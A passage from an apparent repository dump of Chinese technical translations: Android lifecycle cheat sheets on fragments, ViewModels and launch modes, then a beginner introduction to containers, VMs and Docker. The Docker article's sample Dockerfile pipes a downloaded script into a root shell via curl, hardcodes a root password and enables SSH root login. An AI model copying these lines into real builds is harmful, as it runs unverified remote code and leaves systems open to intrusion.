处于活动状态时配置发生改变，则第一个活动将被销毁并仅在其重新获取焦点时重新创建。这就是保存一个状态的实例很重要的原因。\n\n如果系统杀死应用程序进程以节省资源，这是另一种需要恢复状态的场景。\n\n## 返回栈 — 场景 2：配置发生变化时返回栈中的 Activities\n\n![](https://user-gold-cdn.xitu.io/2019/3/2/1693d96e23dc5098?w=742&h=1127&f=png&s=58345)\n\n**场景 2：配置发生变化时返回栈中的 Activities**\n\n### 管理状态\n\n保存状态不仅对前台的 activity 很重要。**配置发生变化后，栈中的所有的 activities 都需要重新恢复状态**来重新创建它们的 UI。\n\n此外，系统几乎可以随时终止你的应用程序进程，因此你应该准备好在任何情况下恢复状态。\n\n## 返回栈 — 场景 3：应用的进程被终止\n\n当 Android 操作系统需要资源时，它会杀死在后台的应用程序。\n\n![](https://user-gold-cdn.xitu.io/2019/3/2/1693d96d9c7c0d19?w=800&h=1077&f=png&s=104247)\n\n**场景 3：应用的进程被终止**\n\n### 管理状态\n\n请注意，完整返回栈的状态被保存起来，但为了有效地使用资源，只有在重新创建 activity 时才会恢复 activity。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/The-Android-Lifecycle-cheat-sheet-part-III-Fragments.md",
    "content": "> * 原文地址：[The Android Lifecycle cheat sheet — part III : Fragments](https://medium.com/androiddevelopers/the-android-lifecycle-cheat-sheet-part-iii-fragments-afc87d4f37fd)\n> * 原文作者：[Jose Alcérreca](https://medium.com/@JoseAlcerreca)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/The-Android-Lifecycle-cheat-sheet-part-III-Fragments.md](https://github.com/xitu/gold-miner/blob/master/TODO1/The-Android-Lifecycle-cheat-sheet-part-III-Fragments.md)\n> * 译者：[Qiuk17](https://github.com/Qiuk17)\n> * 校对者：[xiaxiayang](https://github.com/xiaxiayang), [DevMcryYu](https://github.com/DevMcryYu)\n\n# Android 生命周期备忘录 — 第三部分：Fragments\n\n本系列文章：  \n[**第一部分：Activities** — 单一 activity 的生命周期](https://github.com/xitu/gold-miner/blob/master/TODO/the-android-lifecycle-cheat-sheet-part-i-single-activities.md)  \n[**第二部分：多个 activities** — 跳转和返回栈（back stack）](https://github.com/xitu/gold-miner/blob/master/TODO1/The-Android-Lifecycle-cheat-sheet-part-II-Multiple-activities.md)   \n**第三部分： Fragments** — Activity 和 Fragment 的生命周期（即本文）\n[**第四部分：ViewModels、透明 Activities 及启动模式**](https://medium.com/androiddevelopers/the-android-lifecycle-cheat-sheet-part-iv-49946659b094)\n\n为了更方便地查询，你可以去查阅 [PDF 版本的图表备忘录](https://github.com/JoseAlcerreca/android-lifecycles)。\n\n本节中我们将介绍依附在 Activity 上的 Fragment 的行为。不过别把这种情况和加入到返回栈的 Fragment 搞混了（请参看 [Tasks and Back Stack](https://medium.com/google-developers/tasks-and-the-back-stack-dbb7c3b0f6d4) 这篇文章来学习有关 Fragment 事务和返回栈的知识）。\n\n## 场景 1：当带有 Fragment 的 Activity 启动和终止时\n\n![](https://cdn-images-1.medium.com/max/800/1*ALMDBkuAAZ28BJ2abmvniA.png)\n\n**场景 1：当带有 Fragment 的 Activity 启动和终止时**\n\n虽然 Activity 的 `onCreate` 方法保证在 Fragment 的 `onCreate` 方法之前被调用，但是其它像 `onStart` 和 `onResume` 这样的回调会被并行执行，因此它们会被以任意顺序调用。例如，系统可能先调用 Activity 的 `onStart` 方法再调用 Fragment 的 `onStart`，但在此之后却先调用 **Fragment** 的 `onResume` 方法再执行 Activity 的 `onResume`。\n\n**小心管理它们执行的顺序和时间，以避免两者竞争带来的问题。**\n\n## 场景 2：当带有 Fragment 的 Activity 被旋转时\n\n![](https://cdn-images-1.medium.com/max/800/1*ukapaC23cOJSPUeZ0bUdCA.png)\n\n**场景 2：当带有 Fragment 的 Activity 被旋转时**\n\n### 状态管理\n\nFragment 状态的保存和恢复与 Activity 状态非常相似，区别在于 Fragment 中没有 `onRestoreInstanceState` 方法，但是 Fragment 的 `onCreate`、`onCreateView` 和 `onActivityCreated` 方法中的 Bundle 对象是可被获取的。\n\nFragment 是可以被保留的，这意味着当配置被改变时可以使用同一个 Fragment 实例。正如接下来的场景中所描述的，被复用的 Fragment 与普通 Fragment 有些许不同。\n\n* * *\n\n## 场景 3：当带有可被复用的 Fragment 的 Activity 被旋转时\n\n![](https://cdn-images-1.medium.com/max/800/1*hK_YRdty1GoafABfug-r4g.png)\n\n**场景 3：当带有可被复用的 Fragment 的 Activity 被旋转时**\n\nFragment 对象既没有被创建也没有被销毁，因为在 Activity 被重新创建后，同一个 Fragment 实例被复用了。因此在 `onActivityCreated` 过程中 Bundle 仍然是可被获取的。\n\n使用可被复用的 Fragment 是不被推荐的，除非你想在配置改变时使用非 UI 的 Fragment 来存储数据。它的功能和内部组件库中的 [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel.html) 相同，但 ViewModel 具有更简洁的 API。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/The-Android-Lifecycle-cheat-sheet-part-IV.md",
    "content": "> * 原文地址：[The Android Lifecycle cheat sheet — part IV: ViewModels, Translucent Activities and Launch Modes](https://medium.com/androiddevelopers/the-android-lifecycle-cheat-sheet-part-iv-49946659b094)\n> * 原文作者：[Jose Alcérreca](https://medium.com/@JoseAlcerreca)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/The-Android-Lifecycle-cheat-sheet-part-IV.md](https://github.com/xitu/gold-miner/blob/master/TODO1/The-Android-Lifecycle-cheat-sheet-part-IV.md)\n> * 译者：[xiaxiayang](https://github.com/xiaxiayang)\n> * 校对者：[phxnirvana](https://github.com/phxnirvana)\n\n# Android 生命周期备忘录 —— 第四部分：ViewModel、半透明 Activity 及启动模式\n\n本系列文章：\n\n- [**第一部分：Activity** — 单一 activity 的生命周期](https://github.com/xitu/gold-miner/blob/master/TODO/the-android-lifecycle-cheat-sheet-part-i-single-activities.md)  \n- [**第二部分：多个 Activity** — 跳转和返回栈（back stack）](https://github.com/xitu/gold-miner/blob/master/TODO1/The-Android-Lifecycle-cheat-sheet-part-II-Multiple-activities.md)   \n-  [**第三部分：Fragment** — activity 和 fragment 的生命周期](https://github.com/xitu/gold-miner/blob/master/TODO1/The-Android-Lifecycle-cheat-sheet-part-III-Fragments.md)  \n-  **第四部分：ViewModel、半透明 Activity 及启动模式** (即本文)\n\n为了更方便地查询，你可以去查阅 [PDF 版本的图表备忘录](https://github.com/JoseAlcerreca/android-lifecycles)。\n\n## ViewModel\n\n`ViewModel` 的生命周期非常简单：它只有 `onCleared` 这一个回调。但是，这个函数的作用域在 activity 和 fragment 中是有区别的：\n\n![](https://cdn-images-1.medium.com/max/800/1*InXHWv6E6bLpOAXbTRZ9Zg.png)\n\n**ViewModel 作用域**\n\n注意，初始化是在获取 `ViewModel` 时进行的，通常在 `onCreate` 方法中完成。\n\n[下载 ViewModel 图表](https://github.com/JoseAlcerreca/android-lifecycles/blob/a5dfd030a70989ad2496965f182e5fa296e6221a/cheatsheetviewmodelsvg.pdf)\n\n## 半透明 Activity\n\n半透明的 activity 有半透明（通常是透明的）的背景，所以用户仍然可以看到该 activity 下面是什么。\n\n当一个 activity 的主题设置了 `android:windowIsTranslucent` 属性时，生命周期稍有变化：背景后面的 activity 不会被停止，只会被暂停，所以可以继续接收 UI 的更新：\n\n![](https://cdn-images-1.medium.com/max/800/1*e53GrDAmNgD9WbiI8lgIFw.png)\n\n**常规 activity 和半透明 activity 之间的比较**\n\n此外，当返回到一个任务时，这两个 activity 都会被恢复，重走 `onRestart` 和 `onStart` 方法，但只有半透明的 activity 重走 `onResume` 方法：\n\n![](https://cdn-images-1.medium.com/max/800/1*zXVUFwBl5tfBlGxhaUfHQw.png)\n\n**按下 home 键，回到带有半透明 activity 的应用程序**\n\n[下载半透明 activity 图表](https://github.com/JoseAlcerreca/android-lifecycles/blob/a5dfd030a70989ad2496965f182e5fa296e6221a/cheatsheettranslucent.pdf)\n\n## 启动模式\n\n处理任务和回退栈的推荐方法主要是：**别处理** — 你应该采用默认行为。要了解更多细节，请阅读 Ian Lake 的关于这个主题的文章：[任务和回退栈](https://medium.com/androiddevelopers/tasks-and-the-back-stack-dbb7c3b0f6d4)。\n\n如果你**真的需要使用** [`SINGLE_TOP`](https://developer.android.com/guide/topics/manifest/activity-element#lmode)，下图展现了它的行为模式：\n\n![](https://cdn-images-1.medium.com/max/800/1*y4f7Txiv_bqjm5PfrGtSWg.png)\n\n**Single Top 行为模式**\n\n方便比较，下面是 [`singleTask`](https://developer.android.com/guide/topics/manifest/activity-element#lmode) 模式看起来的样子（但是你可能不应该用到它）：\n\n![](https://cdn-images-1.medium.com/max/800/1*IOhNkOHU5SOglqpS-FEdEw.png)\n\n**Single Task**\n\n注意：如果你用了 Jetpack 中 [导航架构组件（Navigation Architecture Component）](https://developer.android.com/topic/libraries/architecture/navigation/)，你会从它支持 Single Top 和自动合成回退栈中受益。\n\n [下载启动模式图表](https://github.com/JoseAlcerreca/android-lifecycles/blob/a5dfd030a70989ad2496965f182e5fa296e6221a/cheatsheetmodes.pdf)\n\n > 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n ---\n\n > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-beginner-friendly-introduction-to-containers-vms-and-docker.md",
    "content": "> * 原文地址：[A Beginner-Friendly Introduction to Containers, VMs and Docker](https://medium.freecodecamp.org/a-beginner-friendly-introduction-to-containers-vms-and-docker-79a9e3e119b)\n> * 原文作者：[Preethi Kasireddy](https://medium.freecodecamp.org/@preethikasireddy?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-beginner-friendly-introduction-to-containers-vms-and-docker.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-beginner-friendly-introduction-to-containers-vms-and-docker.md)\n> * 译者：[steinliber](https://github.com/steinliber)\n> * 校对者：[7Ethan](https://github.com/7Ethan), [jianboy](https://github.com/jianboy)\n\n# 容器，虚拟机以及 Docker 的初学者入门介绍\n\n![](https://cdn-images-1.medium.com/max/2000/1*k8n7Jx9UaLRAxum9HMp8nQ.png)\n\n来自： [https://flipboard.com/topic/container](https://flipboard.com/topic/container)\n\n如果你是一个开发者或者技术人员，那你肯定或多或少听说过 Docker：它是一个用于打包，传输并且在“容器”中运行应用的工具。它是如此不容忽视，以至于现在无论开发还是运维相关人员都在关注这个工具。甚至像谷歌，VMware 和亚马逊这样的大型公司也正在构建支持它的服务。\n\n无论对你来说 Docker 是否能马上用得到，我都认为理解 “容器”的一些基础概念以及它和虚拟机（VM）之间的差异是很重要的。虽然互联网上已经有了大量优秀的 Docker 使用指南，但我没看到很多适合初学者的概念指南，特别是和容器的构成相关的。所以希望这篇文章可以帮助解决这个问题 ：）\n\n让我们先来理解虚拟机和容器到底是什么。\n\n### 什么是“容器”和“虚拟机”\n\n容器和虚拟机它们的目的很相似：即将应用程序和它的依赖放到一个可以在任何环境运行的自足单元中。\n\n此外，容器和虚拟机消除了对物理硬件的需求，从而在能源消耗和成本效益方面能让我们更有效地使用计算资源，\n\n容器和虚拟机的主要区别在于它们的架构方式。让我们继续深入了解。\n\n### 虚拟机\n\n虚拟机在本质上是对现实中计算机的仿真，它会像真实的计算机一样执行程序。使用 __“hypervisor”__ 可以将虚拟机运行于物理机上。hypervisor 可以在主机运行，也可以在“裸机”上运行。\n\n让我们来揭开这些术语的面纱：\n\n**hypervisor**（之后都以虚拟机管理程序称呼）是能让虚拟机在其上运行的软件，固件或者硬件。虚拟机管理程序本身会在物理计算机上运行，称为**“主机”**。主机为虚拟机提供资源，包括 RAM 和 CPU。这些资源在虚拟机之间被划分并且可以根据需要进行分配。所以如果一个虚拟机上运行了资源占用更大的应用程序，相较于其它运行在同一个主机的虚拟机你可以给其分配更多的资源。\n\n运行在主机上的虚拟机（再次说明，通过使用虚拟机管理程序）通常也被叫做“访客机”。访客机包含了应用以及运行这个应用所需要的全部依赖（比如：系统二进制文件和库）。它还带有一个自己的完整虚拟化硬件栈，包括虚拟化的网络适配器，储存和 CPU-这意味着它还拥有自己成熟的整个访客操作系统。从虚拟机内部来看，访客机的操作都认为其使用的都是自己的专用资源。从外部来看，我们知道它是一个虚拟机-和其它虚拟机一起共享主机提供的资源。\n\n就像前面所提到的，访客机既可以运行在**托管的虚拟机管理程序**上，也可以运行在**裸机虚拟机管理程序**上。它们之间存在一些重要的差别。\n\n首先，托管的虚拟化管理程序是在主机的操作系统上运行。比如说，可以在一台运行 OSX 操作系统的计算机的系统上安装虚拟机（例如：VirtualBox 或者 VMware Workstation 8）。虚拟机无法直接访问硬件，因此必须通过主机上运行的操作系统访问（在我们的例子中，也就是 Mac 的 OSX 操作系统）。\n\n托管虚拟机管理程序的好处是底层硬件并不那么重要。主机的操作系统会负责硬件的驱动而不需要管理程序参与。因此这种方式被认为具备更好的“硬件兼容性”。在另一方面，在硬件和管理程序之间这个额外的附加层会产生更多的资源开销，这会降低虚拟机的性能。\n\n裸机虚拟机管理程序通过直接在主机硬件上安装和运行来解决这个性能问题。因为它直接面对底层的硬件，所以并不需要运行在主机的操作系统之上。在这种情况下，安装在主机上第一个作为操作系统运行的就是这个裸机虚拟机管理程序。与托管虚拟机管理程序不同，它有自己的设备驱动直接与每个组件交互，以执行任何 I/O，处理或特定于操作系统的任务。这样可以获得更好的性能，可伸缩性和稳定性。这里的权衡在于其对硬件的兼容性有限，因为裸机虚拟机管理程序内置的设备驱动只有那么多。\n\n在讨论了虚拟机管理程序之后，你可能想知道为什么我们需要在虚拟机和主机之间这个额外的“虚拟机管理程序”层。\n\n好吧，虚拟机管理程序在其中确实发挥了重要的作用，由于虚拟机拥有自己的虚拟操作系统，管理程序为虚拟机管理和执行访客操作系统提供了一个平台。它允许主机与作为客户端运行的虚拟机之间共享其资源。\n\n![](https://cdn-images-1.medium.com/max/800/1*RKPXdVaqHRzmQ5RPBH_d-g.png)\n\n虚拟机图示\n\n正如你可以在图示中所看到的，VMS 会为每个新的虚拟机打包虚拟硬件，一个内核（即操作系统）和用户空间。\n\n### 容器\n\n与提供硬件虚拟化的虚拟机不同，容器通过抽象“用户空间”来提供操作系统级别的虚拟化。当我们详解容器这个术语的时候你就会明白我的意思。\n\n从所有的意图和目的来看，容器看起来就像一个虚拟机。比如说，它们有执行进程的私有空间，可以使用 root 权限执行命令，具有专有的网络接口和 IP 地址，允许自定义路由和 iptable 规则，可以挂载文件系统等。\n\n容器和虚拟机之间的一个重要区别在于容器和其它容器共享主机系统的内核。\n\n![](https://cdn-images-1.medium.com/max/800/1*V5N9gJdnToIrgAgVJTtl_w.png)\n\n容器图示\n\n这图表明容器只会打包用户空间，而不是像虚拟机那样打包内核或虚拟硬件。每个容器都有自己独立的用户空间从而可以让多个容器在单个主机上运行。我们可以看到所有操作系统级别的体系架构是所有容器共享的。要从头开始创建的部分只有 bins 和 libs 目录。这就是容器如此轻巧的原因。\n\n### Docker 是从哪来的？\n\nDocker 是基于 Linux 容器技术的开源项目。它使用 Luinux 的内核功能（如命名空间和控制组）在操作系统上创建容器。\n\n容器已经远远不是一个新技术：Google 已经使用他们自己的容器技术好多年了。其它的容器技术包括 Solaris Zones、BSD jails 和 LXC 也已经存在好多年。\n\n那么为啥 Docker 会突然取得成功呢？\n\n1. **使用简单**：Docker 使得任何人（开发人员，运维，架构师和其他人）都可以更轻松的利用容器的优势来快速构建和测试可移植的应用程序。它可以让任何人在他们的笔记本电脑上打包应用程序，不需要任何修改就可以让应用运行在公有云，私有云甚至裸机上。Docker 的口头禅是：“一次构建，处处运行”。\n\n2. **速度**：Docker 容器非常轻量级和快速。因为容器只是运行在内核上的沙盒环境，因此它们占用的资源更少。与可能需要更多时间来创建的虚拟机相比，你可以在几秒钟内创建一个 Docker 容器，因为虚拟机每次都必须启动一个完整的操作系统。\n\n3. **Docker Hub**：Docker 用户也可以从日益丰富的 Docker Hub 生态中受益，你可以把 Docker Hub 看作是 “Docker 镜像的应用商店”。Docker Hub 拥有数万个由社区构建的公共镜像，这些镜像都是随时可用的。在其中搜索符合你需求的镜像非常容易，你只需要准备拉取镜像而且几乎不需要任何修改。\n\n4. **模块化和可扩展性**：Docker 可以让你轻松地把应用程序按功能拆分为单个独立的容器。比如说，你的 Postgre 数据库可以运行在一个容器中，Redis 服务运行在另一个容器中，而 Node.js 应用运行在另一个容器中。使用 Docker，将这个容器链接在一起以创建你的应用程序将会变得更简单，同时在将来可以很轻松地扩展和更新单独的组件。\n\n最后但并不重要的是，有谁不喜欢 Docker 的鲸鱼（Docker 的标志）呢？：）\n\n![](https://cdn-images-1.medium.com/max/800/1*sGHbxxLdm87_n7tKQS3EUg.png)\n\n来自： [https://www.docker.com/docker-birthday](https://www.docker.com/docker-birthday)\n\n### 基础的 Docker 概念\n\n现在我们已经大致了解了 Docker，让我们依次讲下 Docker 的基础部分：\n\n![](https://cdn-images-1.medium.com/max/800/1*K7p9dzD9zHuKEMgAcbSLPQ.png)\n\n#### Docker Engine\n\nDocker Engine 是 Docker 运行的底层。它是一个轻量级的运行时和工具，可以用于管理容器，镜像，构建等等。它在 Linux 本机上运行，由以下部分组成：\n\n1. 在主机上运行的 Docker 守护进程。\n2. Docker 客户端，用于和 Docker 守护进程通信来执行命令。\n3. 用于远程和 Docker 守护进程交互的 REST API。\n\n#### Docker 客户端 \n\nDocker 客户端是用来和你（ Docker 的终端用户）交互的。可以把它想象成 Docker 的 UI。例如：\n\n你是在和 Docker 客户端进行交互，然后 Docker 客户端会把你的指令传递给 Docker 守护进程。\n\n```\ndocker build iampeekay/someImage .\n```\n\n#### Docker 守护进程\n\n实际上发送到 Docker 客户端的命令是由 Docker 守护进程执行（比如像构建，运行和分发容器）。Docker 守护进程在主机上运行，但作为用户，你并不能直接和守护进程交互。Docker 客户端也可以在主机上运行，但这并不是必需的。它可以运行在不同的机器上并且与运行在主机上的 Docker 守护进程通信。\n\n#### Dockerfile\n\n你可以在 Dockerfile 中编写构建 Docker 镜像的指令。这些指令可以是：\n\n*   **RUN apt-get y install some-package**：安装软件包\n*   **EXPOSE 8000**：暴露一个端口\n*   **ENV ANT_HOME /usr/local/apache-ant**：传递环境变量\n\n更进一步。一旦配置好的你的 Dockfile，就可以使用 **docker build** 命令从中构建镜像。这里是 Dockerfile 的一个例子：\n\n简单的 Dockerfile：\n\n```\n# 构建基于 ubuntu 14.04 镜像\nFROM ubuntu:14.04\n\nMAINTAINER preethi kasireddy iam.preethi.k@gmail.com\n\n# 用于 SSH 登陆和端口重定向\nENV ROOTPASSWORD sample\n\n# 在安装包的过程中关闭提示\nENV DEBIAN_FRONTEND noninteractive\nRUN echo \"debconf shared/accepted-oracle-license-v1-1 select true\" | debconf-set-selections\nRUN echo \"debconf shared/accepted-oracle-license-v1-1 seen true\" | debconf-set-selections\n\n# 更新包\nRUN apt-get -y update\n\n# 安装系统工具/库\nRUN apt-get -y install python3-software-properties \\\n    software-properties-common \\\n    bzip2 \\\n    ssh \\\n    net-tools \\\n    vim \\\n    curl \\\n    expect \\\n    git \\\n    nano \\\n    wget \\\n    build-essential \\\n    dialog \\\n    make \\\n    build-essential \\\n    checkinstall \\\n    bridge-utils \\\n    virt-viewer \\\n    python-pip \\\n    python-setuptools \\\n    python-dev\n\n# 安装 Node，npm\nRUN curl -sL https://deb.nodesource.com/setup_4.x | sudo -E bash -\nRUN apt-get install -y nodejs\n\n# 把 oracle-jdk7 添加到 Ubuntu 包仓库\nRUN add-apt-repository ppa:webupd8team/java\n\n# 确保包仓库是最新的\nRUN echo \"deb http://archive.ubuntu.com/ubuntu precise main universe\" > /etc/apt/sources.list\n\n# 更新 apt\nRUN apt-get -y update\n\n# 安装 oracle-jdk7\nRUN apt-get -y install oracle-java7-installer\n\n# 导出 JAVA_HOME 环境变量\nENV JAVA_HOME /usr/lib/jvm/java-7-oracle\n\n# 执行 sshd\nRUN apt-get install -y openssh-server\nRUN mkdir /var/run/sshd\nRUN echo \"root:$ROOTPASSWORD\" | chpasswd\nRUN sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/' /etc/ssh/sshd_config\n\n# SSH 登陆修复。否则用户将在登陆后被踢出\nRUN sed 's@session\\s*required\\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd\n\n# 暴露 Node.js 应用端口\nEXPOSE 8000\n\n# 创建 tap-to-android 应用目录\nRUN mkdir -p /usr/src/my-app\nWORKDIR /usr/src/my-app\n\n# 安装应用依赖\nCOPY . /usr/src/my-app\nRUN npm install\n\n# 添加 entrypoint 执行入口点\nADD entrypoint.sh /entrypoint.sh\nRUN chmod +x /entrypoint.sh\nENTRYPOINT [\"/entrypoint.sh\"]\n\nCMD [\"npm\", \"start\"]\n```\n\n#### Docker 镜像\n\n通过你 Dockerfile 中指令构建的镜像是一个只读的模版。镜像不仅定义了你希望打包的应用程序和其依赖，还有启动时要运行的进程。\n\nDocker 镜像是使用 Dockerfile 构建的。Dockerfile 中的每个指令都会为镜像添加一个新的“镜像层”，镜像层表示的是镜像文件系统中的一部分，可以添加或者替换位于它下面的镜像层内容。镜像层是 Docker 轻巧且强大结构的关键。Docker 使用 Union 文件系统来实现它：\n\n#### Union 文件系统\n\nDocker 使用 Union 文件系统来构建一个镜像。你可以把 Union 文件系统看作是可堆叠文件系统，这意味着不同文件系统（也被认为是分支）中的文件和目录可以透明的构成一个文件系统。\n\n在重叠分支内拥有相同路径目录的内容会被视为单个合并的目录，这避免了需要为每一层创建单独副本。相反，它们都被赋予了指向同一个资源的指针；当某些镜像层需要被更改时，它就会创建一个副本并且修改本地的副本，而原来的镜像层保持不变。这种方式使得在外部看起来文件系统是可写的而实际上内部却并不可写。（换句话说，就是“写时复制”系统。）\n\n层级系统主要提供了两个优点：\n\n1. **无复制**：镜像层有助于避免每次你使用镜像创建或者运行容器时复制整套文件，这使 docker 容器实例化非常快速和廉价。\n2. **镜像层隔离**：当你更改一个镜像时会更快，Docker 更新只会传播到已改变的镜像层。\n\n#### 卷\n\n卷是容器的“数据部分”，它会在容器创建的时候初始化。卷允许你持久化并且共享容器中的数据。数据卷与镜像中默认的 Union 文件系统是分离的，并作为主机文件系统上的普通目录和文件存在。所以，即使你销毁，更新或者重新构建你的容器，数据卷也将保持不变。如果想更新数据卷，你也可以直接对其进行更改。（这功能额外的好处在于，数据卷可以在多个容器之间共享和重用，如此简洁优雅。）\n\n#### Docker 容器\n\n如上所述，Docker 容器将应用程序的软件及其运行所需的全部东西打包到了不可见的沙箱中。这包括操作系统，应用代码，运行时，系统库等等。Docker 容器是基于 Docker 镜像构建的。因为镜像是只读的，所以 Docker 在镜像的只读文件系统上添加了一个读写文件系统来创建容器。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*hZgRPWerZVbaGT8jJiJZVQ.png)\n\n来自：Docker\n\n此外，Docker 创建容器还有很多步，它会创建一个网络接口以便容器和本地主机可以通信，再把可用的 IP 地址附加到容器上，并运行定义镜像时你所指定运行应用程序的进程。\n\n成功创建了容器之后，你可以在任何环境中运行它而无需任何更改。\n\n### 双击“容器”\n\n唷！已经讲了好多部分了。有一件事总是让我感到好奇，那就是实际上容器是如何实现的，特别是容器相关并没有任何的抽象基础设施边界可以参照。经过大量地阅读之后，这一切都是值得的，所以下面是我尝试向你们解释它！：）\n\n“容器”其实只是一个抽象的概念，用于描述不同的功能如何协同从而得到一个可视化的“容器”。让我们快速浏览这些功能：\n\n#### 1) 命名空间\n\n命名空间为容器提供了它们自己的底层 Linux 视图，限制了容器可以查看和访问的内容。当你运行一个容器的时候，Docker 会创建这个特定容器将会使用的命名空间。\n\nDocker 使用了内核中提供的几种不同类型的命名空间，比如说：\n\na. **NET**：为容器提供了只有其自己可见的系统网络堆栈（例如，其自己的网络设备、IP 地址、IP 路由表、/proc/net 目录和端口号等）。\nb. **PID**：PID 表示进程 ID。如果你曾在命令行中运行 **ps aux** 来检测系统上正在运行的进程，你将会看到有一列名叫 “PID”。PID 命名空间为容器提供了只有它们自己范围内可见和交互的进程视图。包括独立的 init 进程（PID 1），这个进程是容器内所有进程的“祖先”。\nc. **MNT**：给容器一个自己的[系统“挂载”](http://www.linfo.org/mounting.html)视图。因此，在不同挂载命名空间的进程具有文件层级结构的不同视图。\nd. **UTS**：UTS 代表 UNIX 分时系统。它允许进程识别系统标识符（即主机名，域名等）。UTS 让容器可以有自己的主机名和 NIS 域名，独立于其它容器和主机系统。\ne. **IPC**：IPC 表示进程间通信。IPC 命名空间负责隔离每个容器中运行进程之间的 IPC 资源。\nf. **USER**：这个命名空间用于隔离每个容器中的用户。相较于主机系统，它的功能是让容器具有 uid（用户 ID）和 gid（组 ID）范围的不同视图。因此，进程在用户命名空间内部的 uid 和 gid 可以和外部主机不同，这就允许在进程在容器外部的 uid 是非特权用户，而不会牺牲在容器内部进程 uid 的 root 权限。\n\nDocker 将这些命名空间一起使用来隔离并开始创建容器。下面的功能叫做控制组。\n\n#### 2) **控制组**\n\n控制组（也叫做 cgroups）是一种 Linux 内核功能，用于隔离，确定优先级和统计一组进程的资源使用情况（CPU、内存、磁盘 I/O 和网络等 ）。从这个意义上来说，控制组确保 Docker 容器只使用它们需要的资源-如果需要，还可以设置容器可以使用的资源限制。控制组还确保单个容器不会耗尽其中的资源从而导致系统奔溃。\n\n最后，Union 文件系统是 Docker 使用的另一个功能：\n\n#### 3) **隔离的 Union 文件系统：**\n\n这个已经在上面 Docker 镜像部分描述过了：）\n\n这就是 Docker 容器的全部内容（当然，魔鬼在实现细节中-比如如何管理不同组件之间的交互）。\n\n### Docker 的未来：Docker 将于虚拟机共存\n\n虽然 Docker 确实获得了很多支持，但我并不认为它会成为虚拟机真正的威胁。容器将继续发挥作用，但有很多情况下更适合使用虚拟机。\n\n比如说，如果你需要在多个服务器上运行多个应用，则使用虚拟机可能是有意义的。另一方面，如果你需要运行单个应用的多个副本，Docker 则能提供一些引人注目的优点。\n\n此外，虽然容器允许你将应用拆分为更多功能独立的部分从而创建关注点分离，它也意味着需要管理的部件会越来越多，这可能会变得难以处理。\n\n安全性也是 Docker 容器所关注的一个领域-由于容器之间共享内核，容器之间的隔层会更薄。一个完整的虚拟机只能向主机的虚拟机管理程序发出超级调用，但是 Docker 容器却可以向主机内核发起系统调用，这导致其被攻击的范围相比之下会更大。当安全性特别重要时，开发人员可能会选择由抽象硬件隔离的虚拟机-这可以使不同虚拟机之间进程的互相干扰变得更加困难。\n\n当然，随着容器在生产环境中更多使用和用户的进一步审核，安全和管理等问题肯定会不断发展。就目前而言，关于容器与虚拟机之间的争论对于那些每天都接触它们的人来说真的是最好的。\n\n### 